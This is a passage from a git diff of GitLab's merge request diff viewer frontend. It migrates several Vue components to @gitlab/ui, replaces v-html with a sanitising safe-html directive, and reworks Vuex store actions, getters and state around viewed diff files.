+ v-if="resolutionPath"
+ :href="resolutionPath"
+ variant="info"
+ class="gl-mr-5 gl-alert-action"
+ >
+ {{ __('Resolve conflicts') }}
+ </gl-button>
+ <gl-button
+ v-if="mergeable"
+ class="gl-alert-action"
+ data-toggle="modal"
+ data-target="#modal_merge_info"
+ >
+ {{ __('Merge locally') }}
+ </gl-button>
+ </template>
+ </gl-alert>
+ </div>
+</template>
diff --git a/app/assets/javascripts/diffs/components/no_changes.vue b/app/assets/javascripts/diffs/components/no_changes.vue
index 93afa978862..a640dcb0a90 100644
--- a/app/assets/javascripts/diffs/components/no_changes.vue
+++ b/app/assets/javascripts/diffs/components/no_changes.vue
@@ -1,12 +1,11 @@
<script>
import { mapGetters } from 'vuex';
-import { escape } from 'lodash';
-import { GlButton } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
+import { GlButton, GlSprintf } from '@gitlab/ui';
export default {
components: {
GlButton,
+ GlSprintf,
},
props: {
changesEmptyStateIllustration: {
@@ -16,20 +15,6 @@ export default {
},
computed: {
...mapGetters(['getNoteableData']),
- emptyStateText() {
- return sprintf(
- __(
- 'No changes between %{ref_start}%{source_branch}%{ref_end} and %{ref_start}%{target_branch}%{ref_end}',
- ),
- {
- ref_start: '<span class="ref-name">',
- ref_end: '</span>',
- source_branch: escape(this.getNoteableData.source_branch),
- target_branch: escape(this.getNoteableData.target_branch),
- },
- false,
- );
- },
},
};
</script>
@@ -41,7 +26,14 @@ export default {
</div>
<div class="col-12">
<div class="text-content text-center">
- <span v-html="emptyStateText"></span>
+ <gl-sprintf :message="__('No changes between %{sourceBranch} and %{targetBranch}')">
+ <template #sourceBranch>
+ <span class="ref-name">{{ getNoteableData.source_branch }}</span>
+ </template>
+ <template #targetBranch>
+ <span class="ref-name">{{ getNoteableData.target_branch }}</span>
+ </template>
+ </gl-sprintf>
<div class="text-center">
<gl-button :href="getNoteableData.new_blob_path" variant="success" category="primary">{{
__('Create commit')
diff --git a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue b/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
index ccb32a2a745..0bf47dc77a6 100644
--- a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
+++ b/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
@@ -1,8 +1,7 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import $ from 'jquery';
-import { GlTooltipDirective } from '@gitlab/ui';
-import DiffTableCell from './diff_table_cell.vue';
+import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import {
MATCH_LINE_TYPE,
NEW_LINE_TYPE,
@@ -13,14 +12,20 @@ import {
PARALLEL_DIFF_VIEW_TYPE,
NEW_NO_NEW_LINE_TYPE,
EMPTY_CELL_TYPE,
+ LINE_HOVER_CLASS_NAME,
} from '../constants';
+import { __ } from '~/locale';
+import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
+import DiffGutterAvatars from './diff_gutter_avatars.vue';
export default {
components: {
- DiffTableCell,
+ GlIcon,
+ DiffGutterAvatars,
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml,
},
props: {
fileHash: {
@@ -50,10 +55,12 @@ export default {
return {
isLeftHover: false,
isRightHover: false,
+ isCommentButtonRendered: false,
};
},
computed: {
...mapGetters('diffs', ['fileLineCoverage']),
+ ...mapGetters(['isLoggedIn']),
...mapState({
isHighlighted(state) {
if (this.isCommented) return true;
@@ -65,12 +72,15 @@ export default {
return lineCode ? lineCode === state.diffs.highlightedRow : false;
},
}),
- isContextLine() {
+ isContextLineLeft() {
return this.line.left && this.line.left.type === CONTEXT_LINE_TYPE;
},
+ isContextLineRight() {
+ return this.line.right && this.line.right.type === CONTEXT_LINE_TYPE;
+ },
classNameMap() {
return {
- [CONTEXT_LINE_CLASS_NAME]: this.isContextLine,
+ [CONTEXT_LINE_CLASS_NAME]: this.isContextLineLeft,
[PARALLEL_DIFF_VIEW_TYPE]: true,
};
},
@@ -97,6 +107,129 @@ export default {
coverageState() {
return this.fileLineCoverage(this.filePath, this.line.right.new_line);
},
+ classNameMapCellLeft() {
+ const { type } = this.line.left;
+
+ return [
+ type,
+ {
+ hll: this.isHighlighted,
+ [LINE_HOVER_CLASS_NAME]:
+ this.isLoggedIn && this.isLeftHover && !this.isContextLineLeft && !this.isMetaLineLeft,
+ },
+ ];
+ },
+ classNameMapCellRight() {
+ const { type } = this.line.right;
+
+ return [
+ type,
+ {
+ hll: this.isHighlighted,
+ [LINE_HOVER_CLASS_NAME]:
+ this.isLoggedIn &&
+ this.isRightHover &&
+ !this.isContextLineRight &&
+ !this.isMetaLineRight,
+ },
+ ];
+ },
+ addCommentTooltipLeft() {
+ const brokenSymlinks = this.line.left.commentsDisabled;
+ let tooltip = __('Add a comment to this line');
+
+ if (brokenSymlinks) {
+ if (brokenSymlinks.wasSymbolic || brokenSymlinks.isSymbolic) {
+ tooltip = __(
+ 'Commenting on symbolic links that replace or are replaced by files is currently not supported.',
+ );
+ } else if (brokenSymlinks.wasReal || brokenSymlinks.isReal) {
+ tooltip = __(
+ 'Commenting on files that replace or are replaced by symbolic links is currently not supported.',
+ );
+ }
+ }
+
+ return tooltip;
+ },
+ addCommentTooltipRight() {
+ const brokenSymlinks = this.line.right.commentsDisabled;
+ let tooltip = __('Add a comment to this line');
+
+ if (brokenSymlinks) {
+ if (brokenSymlinks.wasSymbolic || brokenSymlinks.isSymbolic) {
+ tooltip = __(
+ 'Commenting on symbolic links that replace or are replaced by files is currently not supported.',
+ );
+ } else if (brokenSymlinks.wasReal || brokenSymlinks.isReal) {
+ tooltip = __(
+ 'Commenting on files that replace or are replaced by symbolic links is currently not supported.',
+ );
+ }
+ }
+
+ return tooltip;
+ },
+ shouldRenderCommentButton() {
+ if (!this.isCommentButtonRendered) {
+ return false;
+ }
+
+ if (this.isLoggedIn) {
+ const isDiffHead = parseBoolean(getParameterByName('diff_head'));
+ return !isDiffHead || gon.features?.mergeRefHeadComments;
+ }
+
+ return false;
+ },
+ shouldShowCommentButtonLeft() {
+ return (
+ this.isLeftHover &&
+ !this.isContextLineLeft &&
+ !this.isMetaLineLeft &&
+ !this.hasDiscussionsLeft
+ );
+ },
+ shouldShowCommentButtonRight() {
+ return (
+ this.isRightHover &&
+ !this.isContextLineRight &&
+ !this.isMetaLineRight &&
+ !this.hasDiscussionsRight
+ );
+ },
+ hasDiscussionsLeft() {
+ return this.line.left?.discussions?.length > 0;
+ },
+ hasDiscussionsRight() {
+ return this.line.right?.discussions?.length > 0;
+ },
+ lineHrefOld() {
+ return `#${this.line.left.line_code || ''}`;
+ },
+ lineHrefNew() {
+ return `#${this.line.right.line_code || ''}`;
+ },
+ lineCode() {
+ return (
+ (this.line.left && this.line.left.line_code) ||
+ (this.line.right && this.line.right.line_code)
+ );
+ },
+ isMetaLineLeft() {
+ const type = this.line.left?.type;
+
+ return (
+ type === OLD_NO_NEW_LINE_TYPE || type === NEW_NO_NEW_LINE_TYPE || type === EMPTY_CELL_TYPE
+ );
+ },
+ isMetaLineRight() {
+ const type = this.line.right?.type;
+
+ return (
+ type === OLD_NO_NEW_LINE_TYPE || type === NEW_NO_NEW_LINE_TYPE || type === EMPTY_CELL_TYPE
+ );
+ },
},
created() {
this.newLineType = NEW_LINE_TYPE;
@@ -105,9 +238,26 @@ export default {
},
mounted() {
this.scrollToLineIfNeededParallel(this.line);
+ this.unwatchShouldShowCommentButton = this.$watch(
+ vm => [vm.shouldShowCommentButtonLeft, vm.shouldShowCommentButtonRight].join(),
+ newVal => {
+ if (newVal) {
+ this.isCommentButtonRendered = true;
+ this.unwatchShouldShowCommentButton();
+ }
+ },
+ );
+ },
+ beforeDestroy() {
+ this.unwatchShouldShowCommentButton();
},
methods: {
- ...mapActions('diffs', ['scrollToLineIfNeededParallel']),
+ ...mapActions('diffs', [
+ 'scrollToLineIfNeededParallel',
+ 'showCommentForm',
+ 'setHighlightedRow',
+ 'toggleLineDiscussions',
+ ]),
handleMouseMove(e) {
const isHover = e.type === 'mouseover';
const hoveringCell = e.target.closest('td');
@@ -133,6 +283,9 @@ export default {
table.addClass(`${lineClass}-selected`);
}
},
+ handleCommentButton(line) {
+ this.showCommentForm({ lineCode: line.line_code, fileHash: this.fileHash });
+ },
},
};
</script>
@@ -145,25 +298,53 @@ export default {
@mouseout="handleMouseMove"
>
<template v-if="line.left && !isMatchLineLeft">
- <diff-table-cell
- :file-hash="fileHash"
- :line="line.left"
- :line-type="oldLineType"
- :is-bottom="isBottom"
- :is-hover="isLeftHover"
- :is-highlighted="isHighlighted"
- :show-comment-button="true"
- :diff-view-type="parallelDiffViewType"
- line-position="left"
- class="diff-line-num old_line"
- />
+ <td ref="oldTd" :class="classNameMapCellLeft" class="diff-line-num old_line">
+ <span
+ v-if="shouldRenderCommentButton"
+ ref="addNoteTooltipLeft"
+ v-gl-tooltip
+ class="add-diff-note tooltip-wrapper"
+ :title="addCommentTooltipLeft"
+ >
+ <button
+ v-show="shouldShowCommentButtonLeft"
+ ref="addDiffNoteButtonLeft"
+ type="button"
+ class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
+ :disabled="line.left.commentsDisabled"
+ @click="handleCommentButton(line.left)"
+ >
+ <gl-icon :size="12" name="comment" />
+ </button>
+ </span>
+ <a
+ v-if="line.left.old_line"
+ ref="lineNumberRefOld"
+ :data-linenumber="line.left.old_line"
+ :href="lineHrefOld"
+ @click="setHighlightedRow(lineCode)"
+ >
+ </a>
+ <diff-gutter-avatars
+ v-if="hasDiscussionsLeft"
+ :discussions="line.left.discussions"
+ :discussions-expanded="line.left.discussionsExpanded"
+ @toggleLineDiscussions="
+ toggleLineDiscussions({
+ lineCode: line.left.line_code,
+ fileHash,
+ expanded: !line.left.discussionsExpanded,
+ })
+ "
+ />
+ </td>
<td :class="parallelViewLeftLineType" class="line-coverage left-side"></td>
<td
:id="line.left.line_code"
+ v-safe-html="line.left.rich_text"
:class="parallelViewLeftLineType"
class="line_content with-coverage parallel left-side"
@mousedown="handleParallelLineMouseDown"
- v-html="line.left.rich_text"
></td>
</template>
<template v-else>
@@ -172,18 +353,46 @@ export default {
<td class="line_content with-coverage parallel left-side empty-cell"></td>
</template>
<template v-if="line.right && !isMatchLineRight">
- <diff-table-cell
- :file-hash="fileHash"
- :line="line.right"
- :line-type="newLineType"
- :is-bottom="isBottom"
- :is-hover="isRightHover"
- :is-highlighted="isHighlighted"
- :show-comment-button="true"
- :diff-view-type="parallelDiffViewType"
- line-position="right"
- class="diff-line-num new_line"
- />
+ <td ref="newTd" :class="classNameMapCellRight" class="diff-line-num new_line">
+ <span
+ v-if="shouldRenderCommentButton"
+ ref="addNoteTooltipRight"
+ v-gl-tooltip
+ class="add-diff-note tooltip-wrapper"
+ :title="addCommentTooltipRight"
+ >
+ <button
+ v-show="shouldShowCommentButtonRight"
+ ref="addDiffNoteButtonRight"
+ type="button"
+ class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
+ :disabled="line.right.commentsDisabled"
+ @click="handleCommentButton(line.right)"
+ >
+ <gl-icon :size="12" name="comment" />
+ </button>
+ </span>
+ <a
+ v-if="line.right.new_line"
+ ref="lineNumberRefNew"
+ :data-linenumber="line.right.new_line"
+ :href="lineHrefNew"
+ @click="setHighlightedRow(lineCode)"
+ >
+ </a>
+ <diff-gutter-avatars
+ v-if="hasDiscussionsRight"
+ :discussions="line.right.discussions"
+ :discussions-expanded="line.right.discussionsExpanded"
+ @toggleLineDiscussions="
+ toggleLineDiscussions({
+ lineCode: line.right.line_code,
+ fileHash,
+ expanded: !line.right.discussionsExpanded,
+ })
+ "
+ />
+ </td>
<td
v-gl-tooltip.hover
:title="coverageState.text"
@@ -192,6 +401,7 @@ export default {
></td>
<td
:id="line.right.line_code"
+ v-safe-html="line.right.rich_text"
:class="[
line.right.type,
{
@@ -200,7 +410,6 @@ export default {
]"
class="line_content with-coverage parallel right-side"
@mousedown="handleParallelLineMouseDown"
- v-html="line.right.rich_text"
></td>
</template>
<template v-else>
diff --git a/app/assets/javascripts/diffs/components/settings_dropdown.vue b/app/assets/javascripts/diffs/components/settings_dropdown.vue
index c45de481a17..78647065c8e 100644
--- a/app/assets/javascripts/diffs/components/settings_dropdown.vue
+++ b/app/assets/javascripts/diffs/components/settings_dropdown.vue
@@ -1,17 +1,24 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlDeprecatedButton } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlButtonGroup, GlButton, GlDropdown } from '@gitlab/ui';
+import { __ } from '~/locale';
export default {
components: {
- GlDeprecatedButton,
- Icon,
+ GlButtonGroup,
+ GlButton,
+ GlDropdown,
},
computed: {
...mapGetters('diffs', ['isInlineView', 'isParallelView']),
...mapState('diffs', ['renderTreeList', 'showWhitespace']),
},
+ mounted() {
+ this.patchAriaLabel();
+ },
+ updated() {
+ this.patchAriaLabel();
+ },
methods: {
...mapActions('diffs', [
'setInlineDiffViewType',
@@ -19,74 +26,69 @@ export default {
'setRenderTreeList',
'setShowWhitespace',
]),
+ patchAriaLabel() {
+ this.$el
+ .querySelector('.js-show-diff-settings')
+ .setAttribute('aria-label', __('Diff view settings'));
+ },
},
};
</script>
<template>
- <div class="dropdown">
- <button
- type="button"
- class="btn btn-default js-show-diff-settings"
- data-toggle="dropdown"
- data-display="static"
- >
- <icon name="settings" /> <icon name="chevron-down" />
- </button>
- <div class="dropdown-menu dropdown-menu-right p-2 pt-3 pb-3">
- <div>
- <span class="bold d-block mb-1">{{ __('File browser') }}</span>
- <div class="btn-group d-flex">
- <gl-deprecated-button
- :class="{ active: !renderTreeList }"
- class="w-100 js-list-view"
- @click="setRenderTreeList(false)"
- >
- {{ __('List view') }}
- </gl-deprecated-button>
- <gl-deprecated-button
- :class="{ active: renderTreeList }"
- class="w-100 js-tree-view"
- @click="setRenderTreeList(true)"
- >
- {{ __('Tree view') }}
- </gl-deprecated-button>
- </div>
- </div>
- <div class="mt-2">
- <span class="bold d-block mb-1">{{ __('Compare changes') }}</span>
- <div class="btn-group d-flex js-diff-view-buttons">
- <gl-deprecated-button
- id="inline-diff-btn"
- :class="{ active: isInlineView }"
- class="w-100 js-inline-diff-button"
- data-view-type="inline"
- @click="setInlineDiffViewType"
- >
- {{ __('Inline') }}
- </gl-deprecated-button>
- <gl-deprecated-button
- id="parallel-diff-btn"
- :class="{ active: isParallelView }"
- class="w-100 js-parallel-diff-button"
- data-view-type="parallel"
- @click="setParallelDiffViewType"
- >
- {{ __('Side-by-side') }}
- </gl-deprecated-button>
- </div>
- </div>
- <div class="mt-2">
- <label class="mb-0">
- <input
- id="show-whitespace"
- type="checkbox"
- :checked="showWhitespace"
- @change="setShowWhitespace({ showWhitespace: $event.target.checked, pushState: true })"
- />
- {{ __('Show whitespace changes') }}
- </label>
- </div>
+ <gl-dropdown icon="settings" toggle-class="js-show-diff-settings" right>
+ <div class="gl-px-3">
+ <span class="gl-font-weight-bold gl-display-block gl-mb-2">{{ __('File browser') }}</span>
+ <gl-button-group class="gl-display-flex">
+ <gl-button
+ :class="{ selected: !renderTreeList }"
+ class="gl-w-half js-list-view"
+ @click="setRenderTreeList(false)"
+ >
+ {{ __('List view') }}
+ </gl-button>
+ <gl-button
+ :class="{ selected: renderTreeList }"
+ class="gl-w-half js-tree-view"
+ @click="setRenderTreeList(true)"
+ >
+ {{ __('Tree view') }}
+ </gl-button>
+ </gl-button-group>
+ </div>
+ <div class="gl-mt-3 gl-px-3">
+ <span class="gl-font-weight-bold gl-display-block gl-mb-2">{{ __('Compare changes') }}</span>
+ <gl-button-group class="gl-display-flex js-diff-view-buttons">
+ <gl-button
+ id="inline-diff-btn"
+ :class="{ selected: isInlineView }"
+ class="gl-w-half js-inline-diff-button"
+ data-view-type="inline"
+ @click="setInlineDiffViewType"
+ >
+ {{ __('Inline') }}
+ </gl-button>
+ <gl-button
+ id="parallel-diff-btn"
+ :class="{ selected: isParallelView }"
+ class="gl-w-half js-parallel-diff-button"
+ data-view-type="parallel"
+ @click="setParallelDiffViewType"
+ >
+ {{ __('Side-by-side') }}
+ </gl-button>
+ </gl-button-group>
+ </div>
+ <div class="gl-mt-3 gl-px-3">
+ <label class="gl-mb-0">
+ <input
+ id="show-whitespace"
+ type="checkbox"
+ :checked="showWhitespace"
+ @change="setShowWhitespace({ showWhitespace: $event.target.checked, pushState: true })"
+ />
+ {{ __('Show whitespace changes') }}
+ </label>
</div>
- </div>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/diffs/components/tree_list.vue b/app/assets/javascripts/diffs/components/tree_list.vue
index 38fbd8e61d4..d03d450b12d 100644
--- a/app/assets/javascripts/diffs/components/tree_list.vue
+++ b/app/assets/javascripts/diffs/components/tree_list.vue
@@ -1,8 +1,7 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import FileTree from '~/vue_shared/components/file_tree.vue';
import DiffFileRow from './diff_file_row.vue';
@@ -11,7 +10,7 @@ export default {
GlTooltip: GlTooltipDirective,
},
components: {
- Icon,
+ GlIcon,
FileTree,
},
props: {
@@ -26,7 +25,7 @@ export default {
};
},
computed: {
- ...mapState('diffs', ['tree', 'renderTreeList', 'currentDiffFileId']),
+ ...mapState('diffs', ['tree', 'renderTreeList', 'currentDiffFileId', 'viewedDiffFileIds']),
...mapGetters('diffs', ['allBlobs']),
filteredTreeList() {
const search = this.search.toLowerCase().trim();
@@ -66,7 +65,7 @@ export default {
<div class="tree-list-holder d-flex flex-column">
<div class="gl-mb-3 position-relative tree-list-search d-flex">
<div class="flex-fill d-flex">
- <icon name="search" class="position-absolute tree-list-icon" />
+ <gl-icon name="search" class="position-absolute tree-list-icon" />
<label for="diff-tree-search" class="sr-only">{{ $options.searchPlaceholder }}</label>
<input
id="diff-tree-search"
@@ -83,7 +82,7 @@ export default {
class="position-absolute bg-transparent tree-list-icon tree-list-clear-icon border-0 p-0"
@click="clearSearch"
>
- <icon name="close" />
+ <gl-icon name="close" />
</button>
</div>
</div>
@@ -94,6 +93,7 @@ export default {
:key="file.key"
:file="file"
:level="0"
+ :viewed-files="viewedDiffFileIds"
:hide-file-stats="hideFileStats"
:file-row-component="$options.DiffFileRow"
:current-diff-file-id="currentDiffFileId"
diff --git a/app/assets/javascripts/diffs/constants.js b/app/assets/javascripts/diffs/constants.js
index 447136036ee..dc97d9993da 100644
--- a/app/assets/javascripts/diffs/constants.js
+++ b/app/assets/javascripts/diffs/constants.js
@@ -34,7 +34,6 @@ export const COUNT_OF_AVATARS_IN_GUTTER = 3;
export const LENGTH_OF_AVATAR_TOOLTIP = 17;
export const LINES_TO_BE_RENDERED_DIRECTLY = 100;
-export const MAX_LINES_TO_BE_RENDERED = 2000;
export const DIFF_FILE_SYMLINK_MODE = '120000';
export const DIFF_FILE_DELETED_MODE = '0';
@@ -69,6 +68,11 @@ export const DIFFS_PER_PAGE = 20;
export const DIFF_COMPARE_BASE_VERSION_INDEX = -1;
export const DIFF_COMPARE_HEAD_VERSION_INDEX = -2;
+// Diff View Alerts
+export const ALERT_OVERFLOW_HIDDEN = 'overflow';
+export const ALERT_MERGE_CONFLICT = 'merge-conflict';
+export const ALERT_COLLAPSED_FILES = 'collapsed';
+
// State machine states
export const STATE_IDLING = 'idle';
export const STATE_LOADING = 'loading';
diff --git a/app/assets/javascripts/diffs/diff_file.js b/app/assets/javascripts/diffs/diff_file.js
index 717c4a79ef9..610b71235d9 100644
--- a/app/assets/javascripts/diffs/diff_file.js
+++ b/app/assets/javascripts/diffs/diff_file.js
@@ -18,7 +18,6 @@ function fileSymlinkInformation(file, fileList) {
);
}
-/* eslint-disable-next-line import/prefer-default-export */
export function prepareRawDiffFile({ file, allFiles }) {
Object.assign(file, {
brokenSymlink: fileSymlinkInformation(file, allFiles),
diff --git a/app/assets/javascripts/diffs/i18n.js b/app/assets/javascripts/diffs/i18n.js
new file mode 100644
index 00000000000..8b91543587c
--- /dev/null
+++ b/app/assets/javascripts/diffs/i18n.js
@@ -0,0 +1,14 @@
+import { __ } from '~/locale';
+
+export const GENERIC_ERROR = __('Something went wrong on our end. Please try again!');
+
+export const DIFF_FILE = {
+ blobView: __('You can %{linkStart}view the blob%{linkEnd} instead.'),
+ editInFork: __(
+ "You're not allowed to %{tag_start}edit%{tag_end} files in this project directly. Please fork this project, make your changes there, and submit a merge request.",
+ ),
+ fork: __('Fork'),
+ cancel: __('Cancel'),
+ collapsed: __('This file is collapsed.'),
+ expand: __('Expand file'),
+};
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index d5581474c9b..0f275f1cb3e 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -52,7 +52,6 @@ export const setBaseConfig = ({ commit }, options) => {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
} = options;
commit(types.SET_BASE_CONFIG, {
endpoint,
@@ -62,61 +61,18 @@ export const setBaseConfig = ({ commit }, options) => {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
});
};
-export const fetchDiffFiles = ({ state, commit }) => {
- const worker = new TreeWorker();
- const urlParams = {
- w: state.showWhitespace ? '0' : '1',
- };
- let returnData;
-
- if (state.useSingleDiffStyle) {
- urlParams.view = state.diffViewType;
- }
-
- commit(types.SET_LOADING, true);
-
- worker.addEventListener('message', ({ data }) => {
- commit(types.SET_TREE_DATA, data);
-
- worker.terminate();
- });
-
- return axios
- .get(mergeUrlParams(urlParams, state.endpoint))
- .then(res => {
- commit(types.SET_LOADING, false);
-
- commit(types.SET_MERGE_REQUEST_DIFFS, res.data.merge_request_diffs || []);
- commit(types.SET_DIFF_DATA, res.data);
-
- worker.postMessage(state.diffFiles);
-
- returnData = res.data;
- return Vue.nextTick();
- })
- .then(() => {
- handleLocationHash();
- return returnData;
- })
- .catch(() => worker.terminate());
-};
-
export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
const id = window?.location?.hash;
const isNoteLink = id.indexOf('#note') === 0;
const urlParams = {
per_page: DIFFS_PER_PAGE,
w: state.showWhitespace ? '0' : '1',
+ view: window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType,
};
- if (state.useSingleDiffStyle) {
- urlParams.view = state.diffViewType;
- }
-
commit(types.SET_BATCH_LOADING, true);
commit(types.SET_RETRIEVING_BATCHES, true);
@@ -128,7 +84,7 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
commit(types.SET_BATCH_LOADING, false);
if (!isNoteLink && !state.currentDiffFileId) {
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, diff_files[0].file_hash);
+ commit(types.VIEW_DIFF_FILE, diff_files[0].file_hash);
}
if (isNoteLink) {
@@ -144,7 +100,7 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
!state.diffFiles.some(f => f.file_hash === state.currentDiffFileId) &&
!isNoteLink
) {
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, state.diffFiles[0].file_hash);
+ commit(types.VIEW_DIFF_FILE, state.diffFiles[0].file_hash);
}
if (gon.features?.codeNavigation) {
@@ -175,11 +131,9 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
export const fetchDiffFilesMeta = ({ commit, state }) => {
const worker = new TreeWorker();
- const urlParams = {};
-
- if (state.useSingleDiffStyle) {
- urlParams.view = state.diffViewType;
- }
+ const urlParams = {
+ view: window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType,
+ };
commit(types.SET_LOADING, true);
@@ -229,7 +183,7 @@ export const fetchCoverageFiles = ({ commit, state }) => {
export const setHighlightedRow = ({ commit }, lineCode) => {
const fileHash = lineCode.split('_')[0];
commit(types.SET_HIGHLIGHTED_ROW, lineCode);
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, fileHash);
+ commit(types.VIEW_DIFF_FILE, fileHash);
};
// This is adding line discussions to the actual lines in the diff tree
@@ -240,10 +194,7 @@ export const assignDiscussionsToDiff = (
) => {
const id = window?.location?.hash;
const isNoteLink = id.indexOf('#note') === 0;
- const diffPositionByLineCode = getDiffPositionByLineCode(
- state.diffFiles,
- state.useSingleDiffStyle,
- );
+ const diffPositionByLineCode = getDiffPositionByLineCode(state.diffFiles);
const hash = getLocationHash();
discussions
@@ -477,13 +428,17 @@ export const toggleTreeOpen = ({ commit }, path) => {
commit(types.TOGGLE_FOLDER_OPEN, path);
};
+export const toggleActiveFileByHash = ({ commit }, hash) => {
+ commit(types.VIEW_DIFF_FILE, hash);
+};
+
export const scrollToFile = ({ state, commit }, path) => {
if (!state.treeEntries[path]) return;
const { fileHash } = state.treeEntries[path];
document.location.hash = fileHash;
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, fileHash);
+ commit(types.VIEW_DIFF_FILE, fileHash);
};
export const toggleShowTreeList = ({ commit, state }, saving = true) => {
@@ -751,7 +706,7 @@ export const setCurrentDiffFileIdFromNote = ({ commit, state, rootGetters }, not
const fileHash = rootGetters.getDiscussion(note.discussion_id).diff_file?.file_hash;
if (fileHash && state.diffFiles.some(f => f.file_hash === fileHash)) {
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, fileHash);
+ commit(types.VIEW_DIFF_FILE, fileHash);
}
};
@@ -759,5 +714,5 @@ export const navigateToDiffFileIndex = ({ commit, state }, index) => {
const fileHash = state.diffFiles[index].file_hash;
document.location.hash = fileHash;
- commit(types.UPDATE_CURRENT_DIFF_FILE_ID, fileHash);
+ commit(types.VIEW_DIFF_FILE, fileHash);
};
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index a24894b8d6b..42df5873a41 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -1,4 +1,5 @@
import { __, n__ } from '~/locale';
+import { parallelizeDiffLines } from './utils';
import { PARALLEL_DIFF_VIEW_TYPE, INLINE_DIFF_VIEW_TYPE } from '../constants';
export * from './getters_versions_dropdowns';
@@ -129,3 +130,11 @@ export const fileLineCoverage = state => (file, line) => {
*/
export const currentDiffIndex = state =>
Math.max(0, state.diffFiles.findIndex(diff => diff.file_hash === state.currentDiffFileId));
+
+export const diffLines = state => file => {
+ if (state.diffViewType === INLINE_DIFF_VIEW_TYPE) {
+ return null;
+ }
+
+ return parallelizeDiffLines(file.highlighted_diff_lines || []);
+};
diff --git a/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js b/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
index 1e8e736c028..135b1c61ef5 100644
--- a/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
+++ b/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
@@ -11,17 +11,26 @@ export const diffCompareDropdownTargetVersions = (state, getters) => {
// startVersion only exists if the user has selected a version other
// than "base" so if startVersion is null then base must be selected
- const diffHead = parseBoolean(getParameterByName('diff_head'));
+ const defaultMergeRefForDiffs = window.gon?.features?.defaultMergeRefForDiffs || false;
+ const diffHeadParam = getParameterByName('diff_head');
+ const diffHead = parseBoolean(diffHeadParam) || (!diffHeadParam && defaultMergeRefForDiffs);
const isBaseSelected = !state.startVersion && !diffHead;
const isHeadSelected = !state.startVersion && diffHead;
+ let baseVersion = null;
- const baseVersion = {
- versionName: state.targetBranchName,
- version_index: DIFF_COMPARE_BASE_VERSION_INDEX,
- href: state.mergeRequestDiff.base_version_path,
- isBase: true,
- selected: isBaseSelected,
- };
+ if (
+ !defaultMergeRefForDiffs ||
+ (defaultMergeRefForDiffs && !state.mergeRequestDiff.head_version_path)
+ ) {
+ baseVersion = {
+ versionName: state.targetBranchName,
+ version_index: DIFF_COMPARE_BASE_VERSION_INDEX,
+ href: state.mergeRequestDiff.base_version_path,
+ isBase: true,
+ selected:
+ isBaseSelected || (defaultMergeRefForDiffs && !state.mergeRequestDiff.head_version_path),
+ };
+ }
const headVersion = {
versionName: state.targetBranchName,
@@ -40,7 +49,11 @@ export const diffCompareDropdownTargetVersions = (state, getters) => {
};
};
- return [...state.mergeRequestDiffs.slice(1).map(formatVersion), baseVersion, headVersion];
+ return [
+ ...state.mergeRequestDiffs.slice(1).map(formatVersion),
+ baseVersion,
+ state.mergeRequestDiff.head_version_path && headVersion,
+ ].filter(a => a);
};
export const diffCompareDropdownSourceVersions = (state, getters) => {
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index d31a600e354..001d9d9f594 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -34,6 +34,7 @@ export default () => ({
showTreeList: true,
currentDiffFileId: '',
projectPath: '',
+ viewedDiffFileIds: {},
commentForms: [],
highlightedRow: null,
renderTreeList: true,
@@ -41,5 +42,4 @@ export default () => ({
fileFinderVisible: false,
dismissEndpoint: '',
showSuggestPopover: true,
- useSingleDiffStyle: false,
});
diff --git a/app/assets/javascripts/diffs/store/mutation_types.js b/app/assets/javascripts/diffs/store/mutation_types.js
index 4b1dbc34902..5dba2e9d10d 100644
--- a/app/assets/javascripts/diffs/store/mutation_types.js
+++ b/app/assets/javascripts/diffs/store/mutation_types.js
@@ -19,7 +19,7 @@ export const SET_LINE_DISCUSSIONS_FOR_FILE = 'SET_LINE_DISCUSSIONS_FOR_FILE';
